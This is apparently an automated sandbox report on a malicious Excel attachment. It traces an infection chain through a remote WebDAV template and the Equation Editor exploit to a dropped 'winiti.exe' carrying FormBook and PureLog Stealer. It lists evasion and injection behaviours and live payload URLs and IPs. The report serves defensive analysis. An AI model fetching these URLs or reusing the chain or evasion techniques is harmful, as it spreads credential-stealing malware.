Source: 9.2.winiti.exe.3ac8a18.6.raw.unpack, bwrRjVyKj1VL5wCXv7.cs High entropy of concatenated method names: 'iY1QeRlEfE', 'm5QQMY9dij', 'a8YQHnI8hN', 'lXYQyoXebK', 'aORQfrLs1B', 'yjtQc8VJGv', 'reLQ4K6HWa', 'pIOQwbduJF', 'ohrQF3L0hf', 'hZcQNBfeDd'
Source: 9.2.winiti.exe.3ac8a18.6.raw.unpack, H5DbcuXYjlGQPm0xJ0.cs High entropy of concatenated method names: 'TIb4VdT1Zs', 'lsn4aIZ8Yc', 'WNcwpPSt2a', 'rnSwjmF1qY', 'g484PPCBwC', 'W9b4KFOl7d', 'RaV4EFNPE6', 'WWT4OYqenO', 'bkb4hoJiVW', 'b1e4qNRTCs'
Source: 9.2.winiti.exe.3ac8a18.6.raw.unpack, IcQdK2rXYfyvqYcyHa.cs High entropy of concatenated method names: 'Dispose', 'RUTj2JsCi3', 'myp8iJBlW1', 'sxyRRK7glw', 'bbQjaj0kcZ', 's6Kjzkvud9', 'ProcessDialogKey', 'wRw8paIl7X', 'Frh8jHoQ1r', 'Itr88wKgcI'
Source: 9.2.winiti.exe.3ac8a18.6.raw.unpack, QoOP4PjGKS5gfhE57SM.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'CqRNO2qJae', 'G9FNh3I2Q6', 'uKENqXoB2e', 'tSdNxrJjlJ', 'CacNS6aQwa', 'UqYNX9D6wT', 'EVsNTXaS2Y'
Source: 9.2.winiti.exe.3ac8a18.6.raw.unpack, qKgcIJaPN5xDIttQpD.cs High entropy of concatenated method names: 'PhUFj2dX4W', 'rMPFGPNVBu', 'DieFBnJWiM', 'ohEF6jvGsm', 'j2yFrLss94', 'StLFudw3uP', 'HY8F9s9TbD', 'VwdwTdWKCp', 'AZ5wVEa7Lv', 'VmGw2q4NJb'
Source: 9.2.winiti.exe.3ac8a18.6.raw.unpack, hNFj00Hv45CTOkfqEI.cs High entropy of concatenated method names: 'SfPrO1ssyo', 'NDPrhawp0e', 'y6irq2u9mD', 'bhYrx4PFV0', 'hFSrSDP4cF', 'NAOrXTfqy2', 'BUorTLsn5H', 'zTArVVaxqj', 'hfAr2On37F', 'N7Bra3OAps'
Source: 9.2.winiti.exe.3ac8a18.6.raw.unpack, Q8PlVd7gMYjm0S8vYt.cs High entropy of concatenated method names: 'Bpq93aGmUj', 'wTb9rMKOoC', 'iEc9unbdAm', 'i7l9IxK5H5', 'WE19vTwTjM', 'o9duSioOL5', 'F7BuX3OclH', 'lMkuTfOuXB', 'rbUuVL16tg', 'BLWu25cIwA'
Source: 9.2.winiti.exe.3ac8a18.6.raw.unpack, OOABLIblxanx4dA8KG.cs High entropy of concatenated method names: 'qy6I6v0QNP', 'UJ8IQvx2QP', 'U5VI9jiagd', 'F5i9aeIwTX', 'IXI9z4S0JK', 'wPHIpTNuN4', 'v3RIjSIcOj', 'TbfI8DkhQl', 'TRWIGOfZ1W', 'JxrIBmWZim'
Source: 9.2.winiti.exe.3ac8a18.6.raw.unpack, f3eVc2kPtPvNgZNKDL.cs High entropy of concatenated method names: 'uYjIlyACNl', 'dglIoMtatC', 'JIEIZtIDvN', 'j5SIeI2paI', 'jcvIJofeoR', 'qqqIMkFXex', 'qHYIgkNh8t', 'nYQIHJPpp8', 'UIFIyVd8tV', 'RskI1u4ivF'
Source: 9.2.winiti.exe.3ac8a18.6.raw.unpack, XC3FVVqBJrFXgahDpX.cs High entropy of concatenated method names: 'ToString', 'Q7hcPUyHH6', 'n2VciTvqHJ', 'DZActfCNLB', 'IrNcm0wRNs', 'LEbcd8cteg', 'YMEcnGOoEo', 'KF4cbxNwLp', 'uxvc0HdMAp', 'UDFckP4YiN'

Persistence and Installation Behavior
barindex
Microsoft Office launches external ms-search protocol handler (WebDAV)
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: \Device\RdpDr\;:1\tny.wtf\DavWWWRoot Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: \Device\RdpDr\;:1\tny.wtf\DavWWWRoot Jump to behavior
AI detected suspicious Excel or Word document
Source: Office document LLM: Score: 8 Reasons: The screenshot contains a visually prominent section with the Microsoft Office logo and the text 'This document is protected'. This could mislead users into thinking they need to click on a link or button to view the document. The text creates a sense of urgency or necessity to access the document, which is a common tactic in phishing attempts. Additionally, the use of the Microsoft Office logo impersonates a well-known brand, adding to the credibility of the phishing attempt. The combination of these elements suggests a high risk of phishing.
Office drops RTF file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File dump: recreatednewthingswithentrienewprocesswhichwedidwithouthavingsuchagereatthigstodoever_______greatthingstohappened[1].doc.0.dr Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File dump: 1804222C.doc.4.dr Jump to dropped file
Office viewer loads remote template
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Section loaded: netapi32.dll and davhlpr.dll loaded Jump to behavior
Drops PE files
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\winiti[1].exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Roaming\winiti.exe Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: RFQ#51281AOLAI.xls Stream path 'MBD001BDE15/Package' entropy: 7.97230907292 (max. 8.0)
Source: RFQ#51281AOLAI.xls Stream path 'Workbook' entropy: 7.93979191676 (max. 8.0)
Source: 1E630000.0.dr Stream path 'MBD001BDE15/Package' entropy: 7.96745097321 (max. 8.0)
Source: 1E630000.0.dr Stream path 'Workbook' entropy: 7.99937668928 (max. 8.0)
Source: ~DFB487D2232F45372D.TMP.0.dr Stream path 'Package' entropy: 7.96745097321 (max. 8.0)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory allocated: 1D0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory allocated: 26C0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory allocated: 470000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory allocated: 5820000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory allocated: 55F0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory allocated: 6820000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory allocated: 7820000 memory reserve | memory write watch Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_00910101 rdtsc 10_2_00910101
Contains long sleeps (>= 3 min)
Source: C:\Users\user\AppData\Roaming\winiti.exe Thread delayed: delay time: 922337203685477 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 1384 Thread sleep time: -180000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe TID: 3100 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe TID: 3124 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information queried: ProcessInformation Jump to behavior
Checks if the current process is being debugged
Source: C:\Users\user\AppData\Roaming\winiti.exe Process queried: DebugPort Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_00910101 rdtsc 10_2_00910101
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_00417A03 LdrLoadDll, 10_2_00417A03
Contains functionality to read the PEB
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008B0080 mov ecx, dword ptr fs:[00000030h] 10_2_008B0080
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008B00EA mov eax, dword ptr fs:[00000030h] 10_2_008B00EA
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008D26F8 mov eax, dword ptr fs:[00000030h] 10_2_008D26F8
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Injects a PE file into a foreign processes
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory written: C:\Users\user\AppData\Roaming\winiti.exe base: 400000 value starts with: 4D5A Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\winiti.exe "C:\Users\user\AppData\Roaming\winiti.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process created: C:\Users\user\AppData\Roaming\winiti.exe "C:\Users\user\AppData\Roaming\winiti.exe" Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\AppData\Roaming\winiti.exe Queries volume information: C:\Users\user\AppData\Roaming\winiti.exe VolumeInformation Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected FormBook
Source: Yara match File source: 10.2.winiti.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.winiti.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000A.00000002.530344270.00000000002D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.530386931.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Yara detected PureLog Stealer
Source: Yara match File source: 9.2.winiti.exe.680000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.winiti.exe.680000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.winiti.exe.26e505c.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.winiti.exe.26e505c.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000009.00000002.443827967.0000000000680000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.444323553.00000000026C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality
barindex
Yara detected FormBook
Source: Yara match File source: 10.2.winiti.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.winiti.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000A.00000002.530344270.00000000002D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.530386931.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Yara detected PureLog Stealer
Source: Yara match File source: 9.2.winiti.exe.680000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.winiti.exe.680000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.winiti.exe.26e505c.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.winiti.exe.26e505c.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000009.00000002.443827967.0000000000680000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.444323553.00000000026C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1482907 Sample: RFQ#51281AOLAI.xls Startdate: 26/07/2024 Architecture: WINDOWS Score: 100 41 tny.wtf 2->41 51 Multi AV Scanner detection for domain / URL 2->51 53 Malicious sample detected (through community Yara rule) 2->53 55 Antivirus detection for dropped file 2->55 57 17 other signatures 2->57 8 EXCEL.EXE 57 41 2->8         started        signatures3 process4 dnsIp5 43 104.219.239.104, 49162, 49166, 80 DATAWAGONUS United States 8->43 45 tny.wtf 188.114.96.3, 49161, 49165, 80 CLOUDFLARENETUS European Union 8->45 29 C:\Users\user\...\RFQ#51281AOLAI.xls (copy), Composite 8->29 dropped 31 recreatednewthings...gstohappened[1].doc, Rich 8->31 dropped 12 WINWORD.EXE 337 37 8->12         started        17 winiti.exe 2 8->17         started        file6 process7 dnsIp8 47 tny.wtf 12->47 49 188.114.97.3, 49163, 49164, 49167 CLOUDFLARENETUS European Union 12->49 33 C:\Users\user\AppData\Roaming\...\tny.wtf.url, MS 12->33 dropped 35 C:\Users\user\AppData\Roaming\...\dGa.url, MS 12->35 dropped 37 ~WRF{D8610C7A-67F1...4-B9ACF1973A7E}.tmp, Composite 12->37 dropped 39 C:\Users\user\AppData\Local\...\1804222C.doc, Rich 12->39 dropped 63 Microsoft Office launches external ms-search protocol handler (WebDAV) 12->63 65 Office viewer loads remote template 12->65 67 Microsoft Office drops suspicious files 12->67 19 EQNEDT32.EXE 12 12->19         started        69 Multi AV Scanner detection for dropped file 17->69 71 Machine Learning detection for dropped file 17->71 73 Injects a PE file into a foreign processes 17->73 23 winiti.exe 17->23         started        file9 signatures10 process11 file12 25 C:\Users\user\AppData\Roaming\winiti.exe, PE32 19->25 dropped 27 C:\Users\user\AppData\Local\...\winiti[1].exe, PE32 19->27 dropped 59 Office equation editor establishes network connection 19->59 61 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 19->61 signatures13
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
104.219.239.104
 unknown United States
27176 DATAWAGONUS true
188.114.97.3
 unknown European Union
13335 CLOUDFLARENETUS false
188.114.96.3
 tny.wtf European Union
13335 CLOUDFLARENETUS true

Contacted Domains

Name IP Active
tny.wtf 188.114.96.3 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://104.219.239.104/80/winiti.exe true
  • Avira URL Cloud: safe
 unknown
http://104.219.239.104/xampp/bn/recreatednewthingswithentrienewprocesswhichwedidwithouthavingsuchagereatthigstodoever_______greatthingstohappened.doc true
  • Avira URL Cloud: safe
 unknown
http://tny.wtf/dGa true
  • Avira URL Cloud: safe
 unknown